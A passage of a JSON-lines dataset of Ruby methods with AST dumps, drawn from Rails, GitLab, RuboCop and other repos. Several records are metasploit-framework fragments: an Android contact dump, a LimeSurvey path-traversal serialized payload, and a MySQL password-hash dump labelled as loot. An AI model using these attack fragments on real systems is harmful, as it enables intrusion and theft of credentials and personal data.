\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"inspect\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"new_fraction\",{\"type\":\"send\",\"children\":[null,\"Rational\",{\"type\":\"lvar\",\"children\":[\"new_nsec\"]},{\"type\":\"int\",\"children\":[1000000000]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_usec\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"usec\"]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"hour\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"min\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sec\"]}]}]}]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[null,\"Rational\",{\"type\":\"send\",\"children\":[null,\"nsec\"]},{\"type\":\"int\",\"children\":[1000]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_fraction\",{\"type\":\"send\",\"children\":[null,\"Rational\",{\"type\":\"lvar\",\"children\":[\"new_usec\"]},{\"type\":\"int\",\"children\":[1000000]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_fraction\"]},\">=\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"argument out of range\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"DateTime\"]},\"civil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"year\"]},{\"type\":\"send\",\"children\":[null,\"year\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"month\"]},{\"type\":\"send\",\"children\":[null,\"month\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"day\"]},{\"type\":\"send\",\"children\":[null,\"day\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"hour\"]},{\"type\":\"send\",\"children\":[null,\"hour\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"min\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"hour\"]}]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[null,\"min\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"sec\"]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"hour\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"min\"]}]}]}]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[null,\"sec\"]}]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"new_fraction\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"offset\"]},{\"type\":\"send\",\"children\":[null,\"offset\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"start\"]},{\"type\":\"send\",\"children\":[null,\"start\"]}]}]}]}]}","id":"2af46815-96c5-4c04-9965-12a8e5d8b32f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/controllers/projects/merge_requests_controller_spec.rb","start_line":622,"raw_source":"def set_auto_merge\n post :merge, params: base_params.merge(sha: merge_request.diff_head_sha, auto_merge_strategy:\n 'merge_when_checks_pass')\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"set_auto_merge\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"sym\",\"children\":[\"merge\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_params\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sha\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"diff_head_sha\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"auto_merge_strategy\"]},{\"type\":\"str\",\"children\":[\"merge_when_checks_pass\"]}]}]}]}]}]}]}]}","id":"1caee62b-a8f5-4af2-ad36-46bbfc03ce61"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/base_test.rb","start_line":1329,"raw_source":"def test_dont_clear_inheritance_column_when_setting_explicitly\n k = Class.new(Joke)\n k.inheritance_column = \"my_type\"\n before_inherit = k.inheritance_column\n\n k.reset_column_information\n after_inherit = k.inheritance_column\n\n assert_equal before_inherit, after_inherit unless before_inherit.blank? && after_inherit.blank?\n end","complexity_score":13.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_dont_clear_inheritance_column_when_setting_explicitly\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"k\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"Joke\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"inheritance_column=\",{\"type\":\"str\",\"children\":[\"my_type\"]}]},{\"type\":\"lvasgn\",\"children\":[\"before_inherit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"inheritance_column\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"reset_column_information\"]},{\"type\":\"lvasgn\",\"children\":[\"after_inherit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"inheritance_column\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"before_inherit\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"after_inherit\"]},\"blank?\"]}]},null,{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"before_inherit\"]},{\"type\":\"lvar\",\"children\":[\"after_inherit\"]}]}]}]}]}","id":"d566f4e5-95f8-4891-a214-bc3f9b8cbc7c"} {"repo_name":"manageiq","file_path":"./repos/manageiq/spec/models/miq_provision/state_machine_spec_helper.rb","start_line":18,"raw_source":"def test_poll_destination_powered_off_in_provider\n expect(task).to receive(:powered_off_in_provider?).and_return(true, false, false, true)\n test_poll_destination_powered_off_in_provider_no_callback\n test_poll_destination_powered_off_in_provider_with_callback_url\n end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_poll_destination_powered_off_in_provider\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"task\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"powered_off_in_provider?\"]}]},\"and_return\",{\"type\":\"true\",\"children\":[]},{\"type\":\"false\",\"children\":[]},{\"type\":\"false\",\"children\":[]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"test_poll_destination_powered_off_in_provider_no_callback\"]},{\"type\":\"send\",\"children\":[null,\"test_poll_destination_powered_off_in_provider_with_callback_url\"]}]}]}","id":"09f69dac-47c3-46ac-8ac8-6166f6a2c27e"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/redundant_condition.rb","start_line":181,"raw_source":"def if_branch_is_true_type_and_else_is_not?(node)\n return false unless node.ternary? || node.if?\n\n cond = node.condition\n return false unless cond.call_type?\n return false if !cond.predicate_method? || allowed_method?(cond.method_name)\n\n node.if_branch&.true_type? && node.else_branch && !node.else_branch.true_type?\n end","complexity_score":25.0,"ast_json":"{\"type\":\"def\",\"children\":[\"if_branch_is_true_type_and_else_is_not?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"ternary?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"if?\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cond\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"condition\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cond\"]},\"call_type?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cond\"]},\"predicate_method?\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"allowed_method?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cond\"]},\"method_name\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"if_branch\"]},\"true_type?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"else_branch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"else_branch\"]},\"true_type?\"]},\"!\"]}]}]}]}","id":"a609b44a-b84b-4e7c-9c7c-4773ec69e182"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/android/android.rb","start_line":204,"raw_source":"def dump_contacts\n contacts = []\n request = Packet.create_request(COMMAND_ID_ANDROID_DUMP_CONTACTS)\n response = client.send_request(request)\n\n response.each(TLV_TYPE_CONTACT_GROUP) do |p|\n contacts << {\n 'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value),\n 'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)),\n 'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER))\n }\n end\n contacts\n end","complexity_score":23.9,"ast_json":"{\"type\":\"def\",\"children\":[\"dump_contacts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"contacts\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packet\"]},\"create_request\",{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_ANDROID_DUMP_CONTACTS\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"send_request\",{\"type\":\"lvar\",\"children\":[\"request\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"each\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_CONTACT_GROUP\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contacts\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"unicode_filter_encode\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"get_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_CONTACT_NAME\"]}]},\"value\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"unicode_filter_encode\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"get_tlv_values\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_CONTACT_EMAIL\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"number\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"unicode_filter_encode\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"get_tlv_values\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_CONTACT_NUMBER\"]}]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"contacts\"]}]}]}","id":"a6d148c3-38bb-4aa5-a2d7-2d93437525fe"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/action_pack_assertions_test.rb","start_line":510,"raw_source":"def test_rendering_xml_sets_content_type\n process :hello_xml_world\n assert_equal(\"application/xml; charset=utf-8\", @response.headers[\"Content-Type\"])\n end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_rendering_xml_sets_content_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"sym\",\"children\":[\"hello_xml_world\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"application/xml; charset=utf-8\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Content-Type\"]}]}]}]}]}","id":"c4e58a73-561a-461a-862d-9da285f49478"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/http/limesurvey_file_download.rb","start_line":61,"raw_source":"def payload\n traversal = '/..' * traversal_depth\n file = \"#{traversal}#{filepath}\"\n serialized = 'a:1:{i:0;O:16:\"CMultiFileUpload\":1:{s:4:\"file\";s:' + file.length.to_s + ':\"' + file + '\";}}'\n Rex::Text.encode_base64(serialized)\n end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"payload\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"traversal\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"/..\"]},\"*\",{\"type\":\"send\",\"children\":[null,\"traversal_depth\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"file\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"traversal\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filepath\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"serialized\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"a:1:{i:0;O:16:\\\"CMultiFileUpload\\\":1:{s:4:\\\"file\\\";s:\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"length\"]},\"to_s\"]}]},\"+\",{\"type\":\"str\",\"children\":[\":\\\"\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"file\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\\";}}\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"lvar\",\"children\":[\"serialized\"]}]}]}]}","id":"f6148f1b-eb39-498b-9edb-df59f9726d9a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/project.rb","start_line":318,"raw_source":"def has_tags?(tags)\n tags.all? do |tag|\n response = get(request_url(\"#{api_repository_tags_path}/#{tag}\"))\n response.code == HTTP_STATUS_OK\n end\n end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"has_tags?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tags\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tags\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"send\",\"children\":[null,\"request_url\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"api_repository_tags_path\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"HTTP_STATUS_OK\"]}]}]}]}]}","id":"5fcba5ed-30c2-4f45-9cb9-e6c160523fad"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/snippet_search_results.rb","start_line":7,"raw_source":"def objects(scope, page: nil, per_page: DEFAULT_PER_PAGE, preload_method: nil)\n paginated_objects(snippet_titles, page, per_page)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"objects\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scope\"]},{\"type\":\"kwoptarg\",\"children\":[\"page\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"per_page\",{\"type\":\"const\",\"children\":[null,\"DEFAULT_PER_PAGE\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"preload_method\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"paginated_objects\",{\"type\":\"send\",\"children\":[null,\"snippet_titles\"]},{\"type\":\"lvar\",\"children\":[\"page\"]},{\"type\":\"lvar\",\"children\":[\"per_page\"]}]}]}","id":"4f3d8234-4b25-45ec-85be-7f0a5e4ce1ec"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/one_drive/managed_folder_identifier.rb","start_line":38,"raw_source":"def initialize(project_storage)\n @project_storage = project_storage\n @project = project_storage.project\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project_storage\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project_storage\",{\"type\":\"lvar\",\"children\":[\"project_storage\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_storage\"]},\"project\"]}]}]}]}","id":"58c755df-56aa-4a7f-b88a-f026f733c81d"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/file.rb","start_line":247,"raw_source":"def writable?(path)\n verification_token = Rex::Text.rand_text_alpha_upper(8)\n if session.type == 'powershell' && file?(path)\n return cmd_exec(\"$a=[System.IO.File]::OpenWrite('#{path}');if($?){echo #{verification_token}};$a.Close()\").include?(verification_token)\n end\n raise \"`writable?' method does not support Windows systems\" if session.platform == 'windows'\n\n cmd_exec(\"(test -w '#{path}' || test -O '#{path}') && echo true\").to_s.include? 'true'\n end","complexity_score":21.0,"ast_json":"{\"type\":\"def\",\"children\":[\"writable?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"verification_token\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha_upper\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"powershell\"]}]},{\"type\":\"send\",\"children\":[null,\"file?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"$a=[System.IO.File]::OpenWrite('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"');if($?){echo \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"verification_token\"]}]},{\"type\":\"str\",\"children\":[\"};$a.Close()\"]}]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"verification_token\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"platform\"]},\"==\",{\"type\":\"str\",\"children\":[\"windows\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"`writable?' method does not support Windows systems\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(test -w '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"' || test -O '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"') && echo true\"]}]}]},\"to_s\"]},\"include?\",{\"type\":\"str\",\"children\":[\"true\"]}]}]}]}","id":"ce88feb3-d6a7-496b-ba73-557d94cc2634"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/ntlm/message.rb","start_line":117,"raw_source":"def security_buffers\n @alist.find_all{|n, f| f.instance_of?(BASE::SecurityBuffer)}\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"security_buffers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@alist\"]},\"find_all\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]},{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"instance_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BASE\"]},\"SecurityBuffer\"]}]}]}]}","id":"1e383969-c41f-4e50-b373-f675df316674"} {"repo_name":"openproject","file_path":"./repos/openproject/spec/controllers/account_controller_spec.rb","start_line":42,"raw_source":"def user_first_login(context)\n @first_login_user = context[:user]\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"user_first_login\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"context\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@first_login_user\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]}]}","id":"5e991bcb-9514-4abf-8d15-8ac747b2cd8f"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb","start_line":164,"raw_source":"def dump_hashes(host, port)\n # Grabs the username and password hashes and stores them as loot\n res = mysql_query(\"SELECT user,password from mysql.user\")\n if res.nil?\n print_error(\"#{host}:#{port} There was an error reading the MySQL User Table\")\n return\n\n end\n\n # Create a table to store data\n tbl = Rex::Text::Table.new(\n 'Header' => 'MysQL Server Hashes',\n 'Indent' => 1,\n 'Columns' => ['Username', 'Hash']\n )\n\n if res.size > 0\n res.each do |row|\n next unless (row[0].to_s + row[1].to_s).length > 0\n\n tbl << [row[0], row[1]]\n print_good(\"#{host}:#{port} Saving HashString as Loot: #{row[0]}:#{row[1]}\")\n end\n end\n\n this_service = nil\n if framework.db and framework.db.active\n this_service = report_service(\n :host => host,\n :port => port,\n :name => 'mysql',\n :proto => 'tcp'\n )\n end\n\n report_hashes(tbl.to_csv, this_service, host, port) unless tbl.rows.empty?\n end","complexity_score":53.83,"ast_json":"{\"type\":\"def\",\"children\":[\"dump_hashes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"host\"]},{\"type\":\"arg\",\"children\":[\"port\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"mysql_query\",{\"type\":\"str\",\"children\":[\"SELECT user,password from mysql.user\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"str\",\"children\":[\" There was an error reading the MySQL User Table\"]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"tbl\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"Table\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Header\"]},{\"type\":\"str\",\"children\":[\"MysQL Server Hashes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Indent\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Columns\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Username\"]},{\"type\":\"str\",\"children\":[\"Hash\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"size\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"to_s\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"to_s\"]}]}]},\"le